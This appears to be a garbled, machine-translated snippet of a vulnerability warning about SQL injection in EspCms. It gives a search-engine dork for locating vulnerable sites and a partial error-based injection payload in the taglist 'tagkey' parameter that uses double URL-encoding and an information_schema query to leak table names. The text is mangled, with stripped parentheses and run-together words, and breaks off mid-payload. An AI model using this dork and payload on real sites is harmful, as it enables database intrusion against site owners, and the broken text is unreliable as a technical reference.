EspCms site system injection vulnerability-vulnerability warning-the black bar safety net

Baidu keywords: inurl:index. php? ac=article&at=read&did= The injection pointburst table prefix: index. php? ac=search&at=taglist&tagkey=%2 5 2 7,tags orselect 1 fromselect count,concatselect select concat0x7e,0x27,tablename,0x27,0x7e from informationschema. the tables where tableschema=database...